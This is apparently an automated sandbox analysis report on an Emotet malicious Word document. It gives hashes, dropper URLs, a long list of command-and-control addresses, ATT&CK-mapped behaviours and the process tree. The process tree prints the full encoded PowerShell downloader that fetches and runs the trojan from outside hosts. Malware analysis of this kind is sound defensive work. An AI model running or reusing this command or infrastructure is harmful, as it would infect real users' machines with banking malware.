emotet | f904f6ea55a2ffa9e89e1a8f27bb59581c275bf9e914d4a7047fc65c9a7c6895

General

Target
emotet_e2_f904f6ea55a2ffa9e89e1a8f27bb59581c275bf9e914d4a7047fc65c9a7c6895_2020-09-23__173618024514._doc.doc
Size 158KB
Sample200923-46ndlc5p8e
SHA256 f904f6ea55a2ffa9e89e1a8f27bb59581c275bf9e914d4a7047fc65c9a7c6895
MD5 d878f2732161b09da3d32fbbb8c08cb8
SHA1 2d96910c7120aad52638c4c40172d125e9ffe53c
SHA512 cd3f2f2175b716d501d31dec3fda402244089775234a55588bd6304c64bc441ef274fa80c4140cada45781293d77b91a683e90a7bc77d38e57bfa690b2b72449
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://prestokitchens.com/recurringo/fRe/
exe.dropper
http://www.djraisor.com/error/w7G3/
exe.dropper
http://dakarbuzz.net/css/CyKg/
exe.dropper
https://wildecapitalmgmt.net/wp-content/j6/
exe.dropper
http://californiaasa.com/californiaasa.com/8t/
exe.dropper
http://viralbrown.com/e3c0ngfjc/N/
exe.dropper
http://kharazmischl.com/w/

Extracted

Family

emotet

C2

174.106.122.139:80
159.203.116.47:8080
173.249.6.108:443
104.236.246.93:8080
174.45.13.118:80
137.59.187.107:8080
94.200.114.161:80
37.187.72.193:8080
67.10.155.92:80
121.124.124.40:7080
24.43.99.75:80
75.139.38.211:80
109.74.5.95:8080
137.119.36.33:80
74.134.41.124:80
66.65.136.14:80
94.1.108.190:443
181.169.235.7:80
79.137.83.50:443
104.131.44.150:8080
121.7.127.163:80
96.249.236.156:443
120.150.60.189:80
134.209.36.254:8080
110.145.77.103:80
118.83.154.64:443
71.72.196.159:80
50.91.114.38:80
62.75.141.82:80
157.245.99.39:8080
140.186.212.146:80
168.235.67.138:7080
104.131.11.150:443
78.24.219.147:8080
46.105.131.79:8080
104.251.33.179:80
24.43.32.186:80
200.114.213.233:8080
153.137.36.142:80
85.96.199.93:80
94.23.237.171:443
5.39.91.110:7080
85.152.162.105:80
162.241.242.173:8080
213.196.135.145:80
139.99.158.11:443
194.187.133.160:443
78.187.156.31:80
1.221.254.82:80
124.41.215.226:80
139.130.242.43:80
209.141.54.221:8080
87.106.136.232:8080
83.169.36.251:8080
195.7.12.8:80
185.94.252.104:443
95.213.236.64:8080
42.200.107.142:80
203.153.216.189:7080
68.188.112.97:80
5.196.74.210:8080
87.106.139.101:8080
104.32.141.43:80
94.124.59.22:8080
74.219.172.26:80
108.46.29.236:80
93.147.212.206:80
172.104.97.173:8080
190.240.194.77:443
103.86.49.11:8080
74.208.45.104:8080
82.80.155.43:80
61.19.246.238:443
139.162.108.71:8080
121.7.31.214:80
188.219.31.12:80
37.139.21.175:8080
181.169.34.190:80
219.74.18.66:443
123.176.25.234:80
216.139.123.119:80
79.98.24.39:8080
62.30.7.67:443
139.162.60.124:8080
176.111.60.55:8080
91.211.88.52:7080
172.91.208.86:80
139.59.60.244:8080
89.216.122.92:80
142.112.10.95:20
107.5.122.110:80
50.35.17.13:80
97.82.79.83:80
68.252.26.78:80
110.142.236.207:80
47.144.21.12:443
24.137.76.62:80
220.245.198.194:80
74.120.55.163:80
24.179.13.119:80
113.61.66.94:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3836	3524	POWeRsHeLL.exe	72

Emotet Payload 6 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/4032-11-0x00000000009D0000-0x00000000009E2000-memory.dmp	emotet
behavioral2/memory/4032-11-0x00000000009D0000-0x00000000009E2000-memory.dmp	emotet
behavioral2/memory/4032-12-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/4032-12-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/1684-15-0x00000000008A0000-0x00000000008B2000-memory.dmp	emotet
behavioral2/memory/1684-15-0x00000000008A0000-0x00000000008B2000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
20	3836	POWeRsHeLL.exe

Executes dropped EXE 2 IoCs

pid	Process
4032	Zc1o6l.exe
1684	KBDTZM.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\gdi32\KBDTZM.exe	Zc1o6l.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
532	WINWORD.EXE
532	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3836	POWeRsHeLL.exe
3836	POWeRsHeLL.exe
3836	POWeRsHeLL.exe
1684	KBDTZM.exe
1684	KBDTZM.exe
1684	KBDTZM.exe
1684	KBDTZM.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3836	POWeRsHeLL.exe

Suspicious use of SetWindowsHookEx 10 IoCs

pid	Process
532	WINWORD.EXE
532	WINWORD.EXE
532	WINWORD.EXE
532	WINWORD.EXE
532	WINWORD.EXE
532	WINWORD.EXE
532	WINWORD.EXE
532	WINWORD.EXE
532	WINWORD.EXE
532	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3836 wrote to memory of 4032	3836	POWeRsHeLL.exe	79
PID 3836 wrote to memory of 4032	3836	POWeRsHeLL.exe	79
PID 3836 wrote to memory of 4032	3836	POWeRsHeLL.exe	79
PID 4032 wrote to memory of 1684	4032	Zc1o6l.exe	80
PID 4032 wrote to memory of 1684	4032	Zc1o6l.exe	80
PID 4032 wrote to memory of 1684	4032	Zc1o6l.exe	80

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_f904f6ea55a2ffa9e89e1a8f27bb59581c275bf9e914d4a7047fc65c9a7c6895_2020-09-23__173618024514._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:532

C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
POWeRsHeLL -ENCOD JABQAGgAYQA5AG4AOABzAD0AKAAnAFEAJwArACcAbAAnACsAKAAnADgAJwArACcAbwBfAGYAaAAnACkAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQB0AGUAbQAnACkAIAAkAEUATgBWADoAVQBzAGUAUgBQAFIATwBGAEkAbABFAFwAVwBnAF8AXwAzAE0ARABcAHYAUABuAHkAMgA0AFYAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIARQBDAHQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBjAHUAUgBJAHQAYABZAGAAcAByAE8AdABvAEMAbwBsACIAIAA9ACAAKAAnAHQAbAAnACsAKAAnAHMAJwArACcAMQAyACwAIAAnACsAJwB0ACcAKQArACgAJwBsAHMAJwArACcAMQAnACkAKwAoACcAMQAnACsAJwAsACAAdAAnACkAKwAnAGwAJwArACcAcwAnACkAOwAkAEwAbgBjADgAYwBsAHkAIAA9ACAAKAAoACcAWgAnACsAJwBjADEAJwApACsAKAAnAG8AJwArACcANgBsACcAKQApADsAJABIAGEAdgBrAGMAYQBkAD0AKAAnAFIAMwAnACsAKAAnADEAbQA2AGwAJwArACcAMgAnACkAKQA7ACQAUABlADEAZQByAG4AMgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAEsAJwArACcAYgBRACcAKQArACcAVwBnACcAKwAnAF8AXwAnACsAKAAnADMAbQBkACcAKwAnAEsAYgAnACsAJwBRAFYAcABuACcAKQArACgAJwB5ADIAJwArACcANAAnACkAKwAoACcAdgAnACsAJwBLAGIAJwApACsAJwBRACcAKQAgACAALQBSAGUAUABMAEEAQwBlACAAIAAoACcASwBiACcAKwAnAFEAJwApACwAWwBjAEgAYQByAF0AOQAyACkAKwAkAEwAbgBjADgAYwBsAHkAKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABaAHoANgBuAHEAcAAxAD0AKAAnAFMAaQAnACsAKAAnAG4AeQB5ACcAKwAnAGMAaAAnACkAKQA7ACQARQA3ADIAdwBiAGQAYQA9AC4AKAAnAG4AJwArACcAZQB3AC0AbwBiAGoAJwArACcAZQBjACcAKwAnAHQAJwApACAAbgBFAFQALgB3AGUAYgBjAEwAaQBlAE4AVAA7ACQATQBuAHYAbgAyAGMAYgA9ACgAKAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwADoAJwArACcALwAvACcAKQArACgAJwBwAHIAZQAnACsAJwBzAHQAJwApACsAKAAnAG8AawAnACsAJwBpAHQAYwAnACkAKwAoACcAaABlACcAKwAnAG4AcwAuACcAKQArACgAJwBjACcAKwAnAG8AbQAnACkAKwAoACcALwByACcAKwAnAGUAJwApACsAKAAnAGMAdQByACcAKwAnAHIAJwApACsAJwBpACcAKwAnAG4AJwArACcAZwBvACcAKwAoACcALwAnACsAJwBmAFIAJwApACsAKAAnAGUAJwArACcALwAqAGgAdAB0ACcAKQArACcAcAAnACsAKAAnADoALwAvACcAKwAnAHcAJwArACcAdwB3ACcAKQArACgAJwAuACcAKwAnAGQAagAnACkAKwAoACcAcgAnACsAJwBhAGkAJwApACsAKAAnAHMAbwByAC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtAC8AZQAnACkAKwAoACcAcgAnACsAJwByAG8AJwApACsAKAAnAHIAJwArACcALwB3ADcARwAnACkAKwAnADMALwAnACsAKAAnACoAJwArACcAaAB0ACcAKQArACgAJwB0AHAAJwArACcAOgAvACcAKQArACgAJwAvAGQAJwArACcAYQAnACkAKwAnAGsAYQAnACsAJwByACcAKwAoACcAYgB1AHoAegAuACcAKwAnAG4AZQAnACsAJwB0AC8AYwBzACcAKwAnAHMALwAnACsAJwBDAHkASwAnACsAJwBnAC8AJwArACcAKgBoAHQAJwApACsAJwB0AHAAJwArACcAcwAnACsAJwA6ACcAKwAoACcALwAvACcAKwAnAHcAaQBsACcAKwAnAGQAJwApACsAKAAnAGUAJwArACcAYwBhACcAKQArACcAcAAnACsAJwBpAHQAJwArACgAJwBhACcAKwAnAGwAbQBnACcAKQArACcAbQB0ACcAKwAoACcALgAnACsAJwBuACcAKwAnAGUAdAAvAHcAJwArACcAcAAtAGMAbwAnACkAKwAoACcAbgB0AGUAbgAnACsAJwB0AC8AJwArACcAagAnACkAKwAnADYAJwArACgAJwAvACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAJwArACcAOgAnACkAKwAnAC8AJwArACgAJwAvACcAKwAnAGMAYQBsACcAKwAnAGkAZgBvAHIAJwApACsAKAAnAG4AaQBhAGEAcwBhACcAKwAnAC4AYwBvAG0ALwBjAGEAJwArACcAbABpAGYAJwArACcAbwAnACkAKwAnAHIAbgAnACsAKAAnAGkAYQAnACsAJwBhAHMAYQAnACkAKwAnAC4AYwAnACsAJwBvAG0AJwArACgAJwAvACcAKwAnADgAdAAnACkAKwAoACcALwAnACsAJwAqAGgAJwApACsAJwB0AHQAJwArACgAJwBwADoALwAvAHYAJwArACcAaQByACcAKQArACcAYQAnACsAKAAnAGwAJwArACcAYgByAG8AdwAnACsAJwBuAC4AJwArACcAYwBvAG0ALwBlACcAKwAnADMAYwAnACkAKwAnADAAbgAnACsAJwBnACcAKwAnAGYAagAnACsAKAAnAGMAJwArACcALwBOACcAKQArACgAJwAvACoAJwArACcAaAB0AHQAJwArACcAcAA6ACcAKQArACcALwAnACsAKAAnAC8AJwArACcAawBoACcAKQArACgAJwBhAHIAJwArACcAYQB6AG0AaQAnACsAJwBzAGMAaABsAC4AJwApACsAKAAnAGMAbwAnACsAJwBtACcAKQArACcALwB3ACcAKwAnAC8AJwApAC4AIgBzAGAAUABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEcAcQAxADgANAB4AHAAPQAoACcATgAnACsAJwAzAGoAJwArACgAJwB3ACcAKwAnAGsANABtACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQASQB5AHoAdgB2ADUAawAgAGkAbgAgACQATQBuAHYAbgAyAGMAYgApAHsAdAByAHkAewAkAEUANwAyAHcAYgBkAGEALgAiAGQATwB3AGAATgBMAE8AYQBkAGYASQBgAGwARQAiACgAJABJAHkAegB2AHYANQBrACwAIAAkAFAAZQAxAGUAcgBuADIAKQA7ACQARwA1ADIAegBhADAAbAA9ACgAJwBIAHAAJwArACgAJwB2ADYAJwArACcAeQBwADcAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAUABlADEAZQByAG4AMgApAC4AIgBMAGUATgBnAGAAVABIACIAIAAtAGcAZQAgADMAMQA3ADcANwApACAAewAmACgAJwBJAG4AJwArACcAdgAnACsAJwBvAGsAJwArACcAZQAtAEkAdABlAG0AJwApACgAJABQAGUAMQBlAHIAbgAyACkAOwAkAEcAYwBwAHYANgByAG0APQAoACcAVAA1ACcAKwAnAHoAJwArACgAJwBnAGQAJwArACcANwA3ACcAKQApADsAYgByAGUAYQBrADsAJABSAHAANgBtAHMAcgBsAD0AKAAoACcAVwB3ACcAKwAnAG4AYwB2ACcAKQArACcAcgBkACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBjAGIAMgA5AGQAcAA9ACgAJwBLACcAKwAoACcAcQBrACcAKwAnAGUAeAAnACkAKwAnAHoAaAAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3836
- C:\Users\Admin\Wg__3md\Vpny24v\Zc1o6l.exe
  "C:\Users\Admin\Wg__3md\Vpny24v\Zc1o6l.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:4032
- - C:\Windows\SysWOW64\gdi32\KBDTZM.exe
    "C:\Windows\SysWOW64\gdi32\KBDTZM.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:1684

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/532-4-0x00000245925DE000-0x00000245925E4000-memory.dmp

Download

memory/532-0-0x00007FFF56F00000-0x00007FFF575C6000-memory.dmp

Download

memory/1684-15-0x00000000008A0000-0x00000000008B2000-memory.dmp

Download

memory/3836-6-0x000001DFF4600000-0x000001DFF4601000-memory.dmp

Download

memory/3836-7-0x000001DFF6650000-0x000001DFF6651000-memory.dmp

Download

memory/3836-5-0x00007FFF4B950000-0x00007FFF4C33C000-memory.dmp

Download

memory/4032-11-0x00000000009D0000-0x00000000009E2000-memory.dmp

Download

memory/4032-12-0x00000000001F0000-0x0000000000200000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads